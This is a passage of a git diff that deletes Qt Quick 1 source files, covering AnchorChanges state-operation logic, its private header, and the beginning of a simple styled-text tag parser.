QDeclarativePropertyPrivate::setBinding(d->bottomProp, d->origBottomBinding); - } - if (d->applyOrigVCenter) { - if (!d->origVCenterBinding) - targetPrivate->anchors()->resetVerticalCenter(); - QDeclarativePropertyPrivate::setBinding(d->vCenterProp, d->origVCenterBinding); - } - if (d->applyOrigBaseline) { - if (!d->origBaselineBinding) - targetPrivate->anchors()->resetBaseline(); - QDeclarativePropertyPrivate::setBinding(d->baselineProp, d->origBaselineBinding); - } - - //destroy old bindings - if (reason == ActualChange) { - for (int i = 0; i < d->oldBindings.size(); ++i) { - QDeclarativeAbstractBinding *binding = d->oldBindings.at(i); - if (binding) - binding->destroy(); - } - d->oldBindings.clear(); - } - - //reset any anchors that have been specified as "undefined" - if (d->anchorSet->d_func()->resetAnchors & QDeclarative1Anchors::LeftAnchor) { - targetPrivate->anchors()->resetLeft(); - QDeclarativePropertyPrivate::setBinding(d->leftProp, 0); - } - if (d->anchorSet->d_func()->resetAnchors & QDeclarative1Anchors::RightAnchor) { - targetPrivate->anchors()->resetRight(); - QDeclarativePropertyPrivate::setBinding(d->rightProp, 0); - } - if (d->anchorSet->d_func()->resetAnchors & QDeclarative1Anchors::HCenterAnchor) { - targetPrivate->anchors()->resetHorizontalCenter(); - QDeclarativePropertyPrivate::setBinding(d->hCenterProp, 0); - } - if (d->anchorSet->d_func()->resetAnchors & QDeclarative1Anchors::TopAnchor) { - targetPrivate->anchors()->resetTop(); - QDeclarativePropertyPrivate::setBinding(d->topProp, 0); - } - if (d->anchorSet->d_func()->resetAnchors & QDeclarative1Anchors::BottomAnchor) { - targetPrivate->anchors()->resetBottom(); - QDeclarativePropertyPrivate::setBinding(d->bottomProp, 0); - } - if (d->anchorSet->d_func()->resetAnchors & QDeclarative1Anchors::VCenterAnchor) { - targetPrivate->anchors()->resetVerticalCenter(); - QDeclarativePropertyPrivate::setBinding(d->vCenterProp, 0); - } - if (d->anchorSet->d_func()->resetAnchors & QDeclarative1Anchors::BaselineAnchor) { - targetPrivate->anchors()->resetBaseline(); - QDeclarativePropertyPrivate::setBinding(d->baselineProp, 0); - } - - //set any anchors that have been specified - if (d->leftBinding) - QDeclarativePropertyPrivate::setBinding(d->leftBinding->property(), d->leftBinding); - if (d->rightBinding) - QDeclarativePropertyPrivate::setBinding(d->rightBinding->property(), d->rightBinding); - if (d->hCenterBinding) - QDeclarativePropertyPrivate::setBinding(d->hCenterBinding->property(), d->hCenterBinding); - if (d->topBinding) - QDeclarativePropertyPrivate::setBinding(d->topBinding->property(), d->topBinding); - if (d->bottomBinding) - QDeclarativePropertyPrivate::setBinding(d->bottomBinding->property(), d->bottomBinding); - if (d->vCenterBinding) - QDeclarativePropertyPrivate::setBinding(d->vCenterBinding->property(), d->vCenterBinding); - if (d->baselineBinding) - QDeclarativePropertyPrivate::setBinding(d->baselineBinding->property(), d->baselineBinding); -} - -bool QDeclarative1AnchorChanges::isReversable() -{ - return true; -} - -void QDeclarative1AnchorChanges::reverse(Reason reason) -{ - Q_D(QDeclarative1AnchorChanges); - if (!d->target) - return; - - QDeclarativeItemPrivate *targetPrivate = QDeclarativeItemPrivate::get(d->target); - //reset any anchors set by the state - if (d->leftBinding) { - targetPrivate->anchors()->resetLeft(); - QDeclarativePropertyPrivate::setBinding(d->leftBinding->property(), 0); - if (reason == ActualChange) { - d->leftBinding->destroy(); d->leftBinding = 0; - } - } - if (d->rightBinding) { - targetPrivate->anchors()->resetRight(); - QDeclarativePropertyPrivate::setBinding(d->rightBinding->property(), 0); - if (reason == ActualChange) { - d->rightBinding->destroy(); d->rightBinding = 0; - } - } - if (d->hCenterBinding) { - targetPrivate->anchors()->resetHorizontalCenter(); - QDeclarativePropertyPrivate::setBinding(d->hCenterBinding->property(), 0); - if (reason == ActualChange) { - d->hCenterBinding->destroy(); d->hCenterBinding = 0; - } - } - if (d->topBinding) { - targetPrivate->anchors()->resetTop(); - QDeclarativePropertyPrivate::setBinding(d->topBinding->property(), 0); - if (reason == ActualChange) { - d->topBinding->destroy(); d->topBinding = 0; - } - } - if (d->bottomBinding) { - targetPrivate->anchors()->resetBottom(); - QDeclarativePropertyPrivate::setBinding(d->bottomBinding->property(), 0); - if (reason == ActualChange) { - d->bottomBinding->destroy(); d->bottomBinding = 0; - } - } - if (d->vCenterBinding) { - targetPrivate->anchors()->resetVerticalCenter(); - QDeclarativePropertyPrivate::setBinding(d->vCenterBinding->property(), 0); - if (reason == ActualChange) { - d->vCenterBinding->destroy(); d->vCenterBinding = 0; - } - } - if (d->baselineBinding) { - targetPrivate->anchors()->resetBaseline(); - QDeclarativePropertyPrivate::setBinding(d->baselineBinding->property(), 0); - if (reason == ActualChange) { - d->baselineBinding->destroy(); d->baselineBinding = 0; - } - } - - //restore previous anchors - if (d->origLeftBinding) - QDeclarativePropertyPrivate::setBinding(d->leftProp, d->origLeftBinding); - if (d->origRightBinding) - QDeclarativePropertyPrivate::setBinding(d->rightProp, d->origRightBinding); - if (d->origHCenterBinding) - QDeclarativePropertyPrivate::setBinding(d->hCenterProp, d->origHCenterBinding); - if (d->origTopBinding) - QDeclarativePropertyPrivate::setBinding(d->topProp, d->origTopBinding); - if (d->origBottomBinding) - QDeclarativePropertyPrivate::setBinding(d->bottomProp, d->origBottomBinding); - if (d->origVCenterBinding) - QDeclarativePropertyPrivate::setBinding(d->vCenterProp, d->origVCenterBinding); - if (d->origBaselineBinding) - QDeclarativePropertyPrivate::setBinding(d->baselineProp, d->origBaselineBinding); - - //restore any absolute geometry changed by the state's anchors - QDeclarative1Anchors::Anchors stateVAnchors = d->anchorSet->d_func()->usedAnchors & QDeclarative1Anchors::Vertical_Mask; - QDeclarative1Anchors::Anchors origVAnchors = targetPrivate->anchors()->usedAnchors() & QDeclarative1Anchors::Vertical_Mask; - QDeclarative1Anchors::Anchors stateHAnchors = d->anchorSet->d_func()->usedAnchors & QDeclarative1Anchors::Horizontal_Mask; - QDeclarative1Anchors::Anchors origHAnchors = targetPrivate->anchors()->usedAnchors() & QDeclarative1Anchors::Horizontal_Mask; - - bool stateSetWidth = (stateHAnchors && - stateHAnchors != QDeclarative1Anchors::LeftAnchor && - stateHAnchors != QDeclarative1Anchors::RightAnchor && - stateHAnchors != QDeclarative1Anchors::HCenterAnchor); - bool origSetWidth = (origHAnchors && - origHAnchors != QDeclarative1Anchors::LeftAnchor && - origHAnchors != QDeclarative1Anchors::RightAnchor && - origHAnchors != QDeclarative1Anchors::HCenterAnchor); - if (d->origWidth.isValid() && stateSetWidth && !origSetWidth) - d->target->setWidth(d->origWidth.value); - - bool stateSetHeight = (stateVAnchors && - stateVAnchors != QDeclarative1Anchors::TopAnchor && - stateVAnchors != QDeclarative1Anchors::BottomAnchor && - stateVAnchors != QDeclarative1Anchors::VCenterAnchor && - stateVAnchors != QDeclarative1Anchors::BaselineAnchor); - bool origSetHeight = (origVAnchors && - origVAnchors != QDeclarative1Anchors::TopAnchor && - origVAnchors != QDeclarative1Anchors::BottomAnchor && - origVAnchors != QDeclarative1Anchors::VCenterAnchor && - origVAnchors != QDeclarative1Anchors::BaselineAnchor); - if (d->origHeight.isValid() && stateSetHeight && !origSetHeight) - d->target->setHeight(d->origHeight.value); - - if (stateHAnchors && !origHAnchors) - d->target->setX(d->origX); - - if (stateVAnchors && !origVAnchors) - d->target->setY(d->origY); -} - -QString QDeclarative1AnchorChanges::typeName() const -{ - return QLatin1String("AnchorChanges"); -} - -QList QDeclarative1AnchorChanges::additionalActions() -{ - Q_D(QDeclarative1AnchorChanges); - QList extra; - - QDeclarative1Anchors::Anchors combined = d->anchorSet->d_func()->usedAnchors | d->anchorSet->d_func()->resetAnchors; - bool hChange = combined & QDeclarative1Anchors::Horizontal_Mask; - bool vChange = combined & QDeclarative1Anchors::Vertical_Mask; - - if (d->target) { - QDeclarativeContext *ctxt = qmlContext(this); - QDeclarative1Action a; - if (hChange && d->fromX != d->toX) { - a.property = QDeclarativeProperty(d->target, QLatin1String("x"), ctxt); - a.toValue = d->toX; - extra << a; - } - if (vChange && d->fromY != d->toY) { - a.property = QDeclarativeProperty(d->target, QLatin1String("y"), ctxt); - a.toValue = d->toY; - extra << a; - } - if (hChange && d->fromWidth != d->toWidth) { - a.property = QDeclarativeProperty(d->target, QLatin1String("width"), ctxt); - a.toValue = d->toWidth; - extra << a; - } - if (vChange && d->fromHeight != d->toHeight) { - a.property = QDeclarativeProperty(d->target, QLatin1String("height"), ctxt); - a.toValue = d->toHeight; - extra << a; - } - } - - return extra; -} - -bool QDeclarative1AnchorChanges::changesBindings() -{ - return true; -} - -void QDeclarative1AnchorChanges::saveOriginals() -{ - Q_D(QDeclarative1AnchorChanges); - if (!d->target) - return; - - d->origLeftBinding = QDeclarativePropertyPrivate::binding(d->leftProp); - d->origRightBinding = QDeclarativePropertyPrivate::binding(d->rightProp); - d->origHCenterBinding = QDeclarativePropertyPrivate::binding(d->hCenterProp); - d->origTopBinding = QDeclarativePropertyPrivate::binding(d->topProp); - d->origBottomBinding = QDeclarativePropertyPrivate::binding(d->bottomProp); - d->origVCenterBinding = QDeclarativePropertyPrivate::binding(d->vCenterProp); - d->origBaselineBinding = QDeclarativePropertyPrivate::binding(d->baselineProp); - - QDeclarativeItemPrivate *targetPrivate = QDeclarativeItemPrivate::get(d->target); - if (targetPrivate->widthValid) - d->origWidth = d->target->width(); - if (targetPrivate->heightValid) - d->origHeight = d->target->height(); - d->origX = d->target->x(); - d->origY = d->target->y(); - - d->applyOrigLeft = d->applyOrigRight = d->applyOrigHCenter = d->applyOrigTop - = d->applyOrigBottom = d->applyOrigVCenter = d->applyOrigBaseline = false; - - saveCurrentValues(); -} - -void QDeclarative1AnchorChanges::copyOriginals(QDeclarative1ActionEvent *other) -{ - Q_D(QDeclarative1AnchorChanges); - QDeclarative1AnchorChanges *ac = static_cast(other); - QDeclarative1AnchorChangesPrivate *acp = ac->d_func(); - - QDeclarative1Anchors::Anchors combined = acp->anchorSet->d_func()->usedAnchors | - acp->anchorSet->d_func()->resetAnchors; - - //probably also need to revert some things - d->applyOrigLeft = (combined & QDeclarative1Anchors::LeftAnchor); - d->applyOrigRight = (combined & QDeclarative1Anchors::RightAnchor); - d->applyOrigHCenter = (combined & QDeclarative1Anchors::HCenterAnchor); - d->applyOrigTop = (combined & QDeclarative1Anchors::TopAnchor); - d->applyOrigBottom = (combined & QDeclarative1Anchors::BottomAnchor); - d->applyOrigVCenter = (combined & QDeclarative1Anchors::VCenterAnchor); - d->applyOrigBaseline = (combined & QDeclarative1Anchors::BaselineAnchor); - - d->origLeftBinding = acp->origLeftBinding; - d->origRightBinding = acp->origRightBinding; - d->origHCenterBinding = acp->origHCenterBinding; - d->origTopBinding = acp->origTopBinding; - d->origBottomBinding = acp->origBottomBinding; - d->origVCenterBinding = acp->origVCenterBinding; - d->origBaselineBinding = acp->origBaselineBinding; - - d->origWidth = acp->origWidth; - d->origHeight = acp->origHeight; - d->origX = acp->origX; - d->origY = acp->origY; - - d->oldBindings.clear(); - d->oldBindings << acp->leftBinding << acp->rightBinding << acp->hCenterBinding - << acp->topBinding << acp->bottomBinding << acp->baselineBinding; - - saveCurrentValues(); -} - -void QDeclarative1AnchorChanges::clearBindings() -{ - Q_D(QDeclarative1AnchorChanges); - if (!d->target) - return; - - //### should this (saving "from" values) be moved to saveCurrentValues()? - d->fromX = d->target->x(); - d->fromY = d->target->y(); - d->fromWidth = d->target->width(); - d->fromHeight = d->target->height(); - - QDeclarativeItemPrivate *targetPrivate = QDeclarativeItemPrivate::get(d->target); - //reset any anchors with corresponding reverts - //reset any anchors that have been specified as "undefined" - //reset any anchors that we'll be setting in the state - QDeclarative1Anchors::Anchors combined = d->anchorSet->d_func()->resetAnchors | - d->anchorSet->d_func()->usedAnchors; - if (d->applyOrigLeft || (combined & QDeclarative1Anchors::LeftAnchor)) { - targetPrivate->anchors()->resetLeft(); - QDeclarativePropertyPrivate::setBinding(d->leftProp, 0); - } - if (d->applyOrigRight || (combined & QDeclarative1Anchors::RightAnchor)) { - targetPrivate->anchors()->resetRight(); - QDeclarativePropertyPrivate::setBinding(d->rightProp, 0); - } - if (d->applyOrigHCenter || (combined & QDeclarative1Anchors::HCenterAnchor)) { - targetPrivate->anchors()->resetHorizontalCenter(); - QDeclarativePropertyPrivate::setBinding(d->hCenterProp, 0); - } - if (d->applyOrigTop || (combined & QDeclarative1Anchors::TopAnchor)) { - targetPrivate->anchors()->resetTop(); - QDeclarativePropertyPrivate::setBinding(d->topProp, 0); - } - if (d->applyOrigBottom || (combined & QDeclarative1Anchors::BottomAnchor)) { - targetPrivate->anchors()->resetBottom(); - QDeclarativePropertyPrivate::setBinding(d->bottomProp, 0); - } - if (d->applyOrigVCenter || (combined & QDeclarative1Anchors::VCenterAnchor)) { - targetPrivate->anchors()->resetVerticalCenter(); - QDeclarativePropertyPrivate::setBinding(d->vCenterProp, 0); - } - if (d->applyOrigBaseline || (combined & QDeclarative1Anchors::BaselineAnchor)) { - targetPrivate->anchors()->resetBaseline(); - QDeclarativePropertyPrivate::setBinding(d->baselineProp, 0); - } -} - -bool QDeclarative1AnchorChanges::override(QDeclarative1ActionEvent*other) -{ - if (other->typeName() != QLatin1String("AnchorChanges")) - return false; - if (static_cast(this) == other) - return true; - if (static_cast(other)->object() == object()) - return true; - return false; -} - -void QDeclarative1AnchorChanges::rewind() -{ - Q_D(QDeclarative1AnchorChanges); - if (!d->target) - return; - - QDeclarativeItemPrivate *targetPrivate = QDeclarativeItemPrivate::get(d->target); - - //restore previous values (but not previous bindings, i.e. anchors) - d->target->setX(d->rewindX); - d->target->setY(d->rewindY); - if (targetPrivate->widthValid) { - d->target->setWidth(d->rewindWidth); - } - if (targetPrivate->heightValid) { - d->target->setHeight(d->rewindHeight); - } -} - -void QDeclarative1AnchorChanges::saveCurrentValues() -{ - Q_D(QDeclarative1AnchorChanges); - if (!d->target) - return; - - QDeclarativeItemPrivate *targetPrivate = QDeclarativeItemPrivate::get(d->target); - d->rewindLeft = targetPrivate->anchors()->left(); - d->rewindRight = targetPrivate->anchors()->right(); - d->rewindHCenter = targetPrivate->anchors()->horizontalCenter(); - d->rewindTop = targetPrivate->anchors()->top(); - d->rewindBottom = targetPrivate->anchors()->bottom(); - d->rewindVCenter = targetPrivate->anchors()->verticalCenter(); - d->rewindBaseline = targetPrivate->anchors()->baseline(); - - d->rewindX = d->target->x(); - d->rewindY = d->target->y(); - d->rewindWidth = d->target->width(); - d->rewindHeight = d->target->height(); -} - -void QDeclarative1AnchorChanges::saveTargetValues() -{ - Q_D(QDeclarative1AnchorChanges); - if (!d->target) - return; - - d->toX = d->target->x(); - d->toY = d->target->y(); - d->toWidth = d->target->width(); - d->toHeight = d->target->height(); -} - -#include -#include - - - -QT_END_NAMESPACE - diff --git a/src/qtquick1/util/qdeclarativestateoperations_p.h b/src/qtquick1/util/qdeclarativestateoperations_p.h deleted file mode 100644 index 951f7b4168..0000000000 --- a/src/qtquick1/util/qdeclarativestateoperations_p.h +++ /dev/null @@ -1,298 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVESTATEOPERATIONS_H -#define QDECLARATIVESTATEOPERATIONS_H - -#include "QtQuick1/private/qdeclarativestate_p.h" - -#include -#include -#include - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - - -class QDeclarative1ParentChangePrivate; -class Q_AUTOTEST_EXPORT QDeclarative1ParentChange : public QDeclarative1StateOperation, public QDeclarative1ActionEvent -{ - Q_OBJECT - Q_DECLARE_PRIVATE(QDeclarative1ParentChange) - - Q_PROPERTY(QDeclarativeItem *target READ object WRITE setObject) - Q_PROPERTY(QDeclarativeItem *parent READ parent WRITE setParent) - Q_PROPERTY(QDeclarativeScriptString x READ x WRITE setX) - Q_PROPERTY(QDeclarativeScriptString y READ y WRITE setY) - Q_PROPERTY(QDeclarativeScriptString width READ width WRITE setWidth) - Q_PROPERTY(QDeclarativeScriptString height READ height WRITE setHeight) - Q_PROPERTY(QDeclarativeScriptString scale READ scale WRITE setScale) - Q_PROPERTY(QDeclarativeScriptString rotation READ rotation WRITE setRotation) -public: - QDeclarative1ParentChange(QObject *parent=0); - ~QDeclarative1ParentChange(); - - QDeclarativeItem *object() const; - void setObject(QDeclarativeItem *); - - QDeclarativeItem *parent() const; - void setParent(QDeclarativeItem *); - - QDeclarativeItem *originalParent() const; - - QDeclarativeScriptString x() const; - void setX(QDeclarativeScriptString x); - bool xIsSet() const; - - QDeclarativeScriptString y() const; - void setY(QDeclarativeScriptString y); - bool yIsSet() const; - - QDeclarativeScriptString width() const; - void setWidth(QDeclarativeScriptString width); - bool widthIsSet() const; - - QDeclarativeScriptString height() const; - void setHeight(QDeclarativeScriptString height); - bool heightIsSet() const; - - QDeclarativeScriptString scale() const; - void setScale(QDeclarativeScriptString scale); - bool scaleIsSet() const; - - QDeclarativeScriptString rotation() const; - void setRotation(QDeclarativeScriptString rotation); - bool rotationIsSet() const; - - virtual ActionList actions(); - - virtual void saveOriginals(); - //virtual void copyOriginals(QDeclarative1ActionEvent*); - virtual void execute(Reason reason = ActualChange); - virtual bool isReversable(); - virtual void reverse(Reason reason = ActualChange); - virtual QString typeName() const; - virtual bool override(QDeclarative1ActionEvent*other); - virtual void rewind(); - virtual void saveCurrentValues(); -}; - -class QDeclarative1StateChangeScriptPrivate; -class Q_AUTOTEST_EXPORT QDeclarative1StateChangeScript : public QDeclarative1StateOperation, public QDeclarative1ActionEvent -{ - Q_OBJECT - Q_DECLARE_PRIVATE(QDeclarative1StateChangeScript) - - Q_PROPERTY(QDeclarativeScriptString script READ script WRITE setScript) - Q_PROPERTY(QString name READ name WRITE setName) - -public: - QDeclarative1StateChangeScript(QObject *parent=0); - ~QDeclarative1StateChangeScript(); - - virtual ActionList actions(); - - virtual QString typeName() const; - - QDeclarativeScriptString script() const; - void setScript(const QDeclarativeScriptString &); - - QString name() const; - void setName(const QString &); - - virtual void execute(Reason reason = ActualChange); -}; - -class QDeclarative1AnchorChanges; -class QDeclarative1AnchorSetPrivate; -class Q_AUTOTEST_EXPORT QDeclarative1AnchorSet : public QObject -{ - Q_OBJECT - - Q_PROPERTY(QDeclarativeScriptString left READ left WRITE setLeft RESET resetLeft) - Q_PROPERTY(QDeclarativeScriptString right READ right WRITE setRight RESET resetRight) - Q_PROPERTY(QDeclarativeScriptString horizontalCenter READ horizontalCenter WRITE setHorizontalCenter RESET resetHorizontalCenter) - Q_PROPERTY(QDeclarativeScriptString top READ top WRITE setTop RESET resetTop) - Q_PROPERTY(QDeclarativeScriptString bottom READ bottom WRITE setBottom RESET resetBottom) - Q_PROPERTY(QDeclarativeScriptString verticalCenter READ verticalCenter WRITE setVerticalCenter RESET resetVerticalCenter) - Q_PROPERTY(QDeclarativeScriptString baseline READ baseline WRITE setBaseline RESET resetBaseline) - //Q_PROPERTY(QDeclarativeItem *fill READ fill WRITE setFill RESET resetFill) - //Q_PROPERTY(QDeclarativeItem *centerIn READ centerIn WRITE setCenterIn RESET resetCenterIn) - - /*Q_PROPERTY(qreal margins READ margins WRITE setMargins NOTIFY marginsChanged) - Q_PROPERTY(qreal leftMargin READ leftMargin WRITE setLeftMargin NOTIFY leftMarginChanged) - Q_PROPERTY(qreal rightMargin READ rightMargin WRITE setRightMargin NOTIFY rightMarginChanged) - Q_PROPERTY(qreal horizontalCenterOffset READ horizontalCenterOffset WRITE setHorizontalCenterOffset NOTIFY horizontalCenterOffsetChanged()) - Q_PROPERTY(qreal topMargin READ topMargin WRITE setTopMargin NOTIFY topMarginChanged) - Q_PROPERTY(qreal bottomMargin READ bottomMargin WRITE setBottomMargin NOTIFY bottomMarginChanged) - Q_PROPERTY(qreal verticalCenterOffset READ verticalCenterOffset WRITE setVerticalCenterOffset NOTIFY verticalCenterOffsetChanged()) - Q_PROPERTY(qreal baselineOffset READ baselineOffset WRITE setBaselineOffset NOTIFY baselineOffsetChanged())*/ - -public: - QDeclarative1AnchorSet(QObject *parent=0); - virtual ~QDeclarative1AnchorSet(); - - QDeclarativeScriptString left() const; - void setLeft(const QDeclarativeScriptString &edge); - void resetLeft(); - - QDeclarativeScriptString right() const; - void setRight(const QDeclarativeScriptString &edge); - void resetRight(); - - QDeclarativeScriptString horizontalCenter() const; - void setHorizontalCenter(const QDeclarativeScriptString &edge); - void resetHorizontalCenter(); - - QDeclarativeScriptString top() const; - void setTop(const QDeclarativeScriptString &edge); - void resetTop(); - - QDeclarativeScriptString bottom() const; - void setBottom(const QDeclarativeScriptString &edge); - void resetBottom(); - - QDeclarativeScriptString verticalCenter() const; - void setVerticalCenter(const QDeclarativeScriptString &edge); - void resetVerticalCenter(); - - QDeclarativeScriptString baseline() const; - void setBaseline(const QDeclarativeScriptString &edge); - void resetBaseline(); - - QDeclarativeItem *fill() const; - void setFill(QDeclarativeItem *); - void resetFill(); - - QDeclarativeItem *centerIn() const; - void setCenterIn(QDeclarativeItem *); - void resetCenterIn(); - - /*qreal leftMargin() const; - void setLeftMargin(qreal); - - qreal rightMargin() const; - void setRightMargin(qreal); - - qreal horizontalCenterOffset() const; - void setHorizontalCenterOffset(qreal); - - qreal topMargin() const; - void setTopMargin(qreal); - - qreal bottomMargin() const; - void setBottomMargin(qreal); - - qreal margins() const; - void setMargins(qreal); - - qreal verticalCenterOffset() const; - void setVerticalCenterOffset(qreal); - - qreal baselineOffset() const; - void setBaselineOffset(qreal);*/ - - QDeclarative1Anchors::Anchors usedAnchors() const; - -/*Q_SIGNALS: - void leftMarginChanged(); - void rightMarginChanged(); - void topMarginChanged(); - void bottomMarginChanged(); - void marginsChanged(); - void verticalCenterOffsetChanged(); - void horizontalCenterOffsetChanged(); - void baselineOffsetChanged();*/ - -private: - friend class QDeclarative1AnchorChanges; - Q_DISABLE_COPY(QDeclarative1AnchorSet) - Q_DECLARE_PRIVATE(QDeclarative1AnchorSet) -}; - -class QDeclarative1AnchorChangesPrivate; -class Q_AUTOTEST_EXPORT QDeclarative1AnchorChanges : public QDeclarative1StateOperation, public QDeclarative1ActionEvent -{ - Q_OBJECT - Q_DECLARE_PRIVATE(QDeclarative1AnchorChanges) - - Q_PROPERTY(QDeclarativeItem *target READ object WRITE setObject) - Q_PROPERTY(QDeclarative1AnchorSet *anchors READ anchors CONSTANT) - -public: - QDeclarative1AnchorChanges(QObject *parent=0); - ~QDeclarative1AnchorChanges(); - - virtual ActionList actions(); - - QDeclarative1AnchorSet *anchors(); - - QDeclarativeItem *object() const; - void setObject(QDeclarativeItem *); - - virtual void execute(Reason reason = ActualChange); - virtual bool isReversable(); - virtual void reverse(Reason reason = ActualChange); - virtual QString typeName() const; - virtual bool override(QDeclarative1ActionEvent*other); - virtual bool changesBindings(); - virtual void saveOriginals(); - virtual bool needsCopy() { return true; } - virtual void copyOriginals(QDeclarative1ActionEvent*); - virtual void clearBindings(); - virtual void rewind(); - virtual void saveCurrentValues(); - - QList additionalActions(); - virtual void saveTargetValues(); -}; - -QT_END_NAMESPACE - -QML_DECLARE_TYPE(QDeclarative1ParentChange) -QML_DECLARE_TYPE(QDeclarative1StateChangeScript) -QML_DECLARE_TYPE(QDeclarative1AnchorSet) -QML_DECLARE_TYPE(QDeclarative1AnchorChanges) - -QT_END_HEADER - -#endif // QDECLARATIVESTATEOPERATIONS_H diff --git a/src/qtquick1/util/qdeclarativestyledtext.cpp b/src/qtquick1/util/qdeclarativestyledtext.cpp deleted file mode 100644 index 2f94dd5348..0000000000 --- a/src/qtquick1/util/qdeclarativestyledtext.cpp +++ /dev/null @@ -1,351 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include -#include -#include -#include -#include -#include -#include "QtQuick1/private/qdeclarativestyledtext_p.h" - -/* - QDeclarative1StyledText supports few tags: - - - bold - - italic -
- new line - - - The opening and closing tags must be correctly nested. -*/ - -QT_BEGIN_NAMESPACE - - - -class QDeclarative1StyledTextPrivate -{ -public: - QDeclarative1StyledTextPrivate(const QString &t, QTextLayout &l) : text(t), layout(l), baseFont(layout.font()) {} - - void parse(); - bool parseTag(const QChar *&ch, const QString &textIn, QString &textOut, QTextCharFormat &format); - bool parseCloseTag(const QChar *&ch, const QString &textIn); - void parseEntity(const QChar *&ch, const QString &textIn, QString &textOut); - bool parseFontAttributes(const QChar *&ch, const QString &textIn, QTextCharFormat &format); - QPair parseAttribute(const QChar *&ch, const QString &textIn); - QStringRef parseValue(const QChar *&ch, const QString &textIn); - - inline void skipSpace(const QChar *&ch) { - while (ch->isSpace() && !ch->isNull()) - ++ch; - } - - QString text; - QTextLayout &layout; - QFont baseFont; - - static const QChar lessThan; - static const QChar greaterThan; - static const QChar equals; - static const QChar singleQuote; - static const QChar doubleQuote; - static const QChar slash; - static const QChar ampersand; -}; - -const QChar QDeclarative1StyledTextPrivate::lessThan(QLatin1Char('<')); -const QChar QDeclarative1StyledTextPrivate::greaterThan(QLatin1Char('>')); -const QChar QDeclarative1StyledTextPrivate::equals(QLatin1Char('=')); -const QChar QDeclarative1StyledTextPrivate::singleQuote(QLatin1Char('\'')); -const QChar QDeclarative1StyledTextPrivate::doubleQuote(QLatin1Char('\"')); -const QChar QDeclarative1StyledTextPrivate::slash(QLatin1Char('/')); -const QChar QDeclarative1StyledTextPrivate::ampersand(QLatin1Char('&')); - -QDeclarative1StyledText::QDeclarative1StyledText(const QString &string, QTextLayout &layout) -: d(new QDeclarative1StyledTextPrivate(string, layout)) -{ -} - -QDeclarative1StyledText::~QDeclarative1StyledText() -{ - delete d; -} - -void QDeclarative1StyledText::parse(const QString &string, QTextLayout &layout) -{ - if (string.isEmpty()) - return; - QDeclarative1StyledText styledText(string, layout); - styledText.d->parse(); -} - -void QDeclarative1StyledTextPrivate::parse() -{ - QList ranges; - QStack formatStack; - - QString drawText; - drawText.reserve(text.count()); - - int textStart = 0; - int textLength = 0; - int rangeStart = 0; - const QChar *ch = text.constData(); - while (!ch->isNull()) { - if (*ch == lessThan) { - if (textLength) - drawText.append(QStringRef(&text, textStart, textLength)); - if (rangeStart != drawText.length() && formatStack.count()) { - QTextLayout::FormatRange formatRange; - formatRange.format = formatStack.top(); - formatRange.start = rangeStart; - formatRange.length = drawText.length() - rangeStart; - ranges.append(formatRange); - } - rangeStart = drawText.length(); - ++ch; - if (*ch == slash) { - ++ch; - if (parseCloseTag(ch, text)) { - if (formatStack.count()) - formatStack.pop(); - } - } else { - QTextCharFormat format; - if (formatStack.count()) - format = formatStack.top(); - if (parseTag(ch, text, drawText, format)) - formatStack.push(format); - } - textStart = ch - text.constData() + 1; - textLength = 0; - } else if (*ch == ampersand) { - ++ch; - drawText.append(QStringRef(&text, textStart, textLength)); - parseEntity(ch, text, drawText); - textStart = ch - text.constData() + 1; - textLength = 0; - } else { - ++textLength; - } - if (!ch->isNull()) - ++ch; - } - if (textLength) - drawText.append(QStringRef(&text, textStart, textLength)); - if (rangeStart != drawText.length() && formatStack.count()) { - QTextLayout::FormatRange formatRange; - formatRange.format = formatStack.top(); - formatRange.start = rangeStart; - formatRange.length = drawText.length() - rangeStart; - ranges.append(formatRange); - } - - layout.setText(drawText); - layout.setAdditionalFormats(ranges); -} - -bool QDeclarative1StyledTextPrivate::parseTag(const QChar *&ch, const QString &textIn, QString &textOut, QTextCharFormat &format) -{ - skipSpace(ch); - - int tagStart = ch - textIn.constData(); - int tagLength = 0; - while (!ch->isNull()) { - if (*ch == greaterThan) { - QStringRef tag(&textIn, tagStart, tagLength); - const QChar char0 = 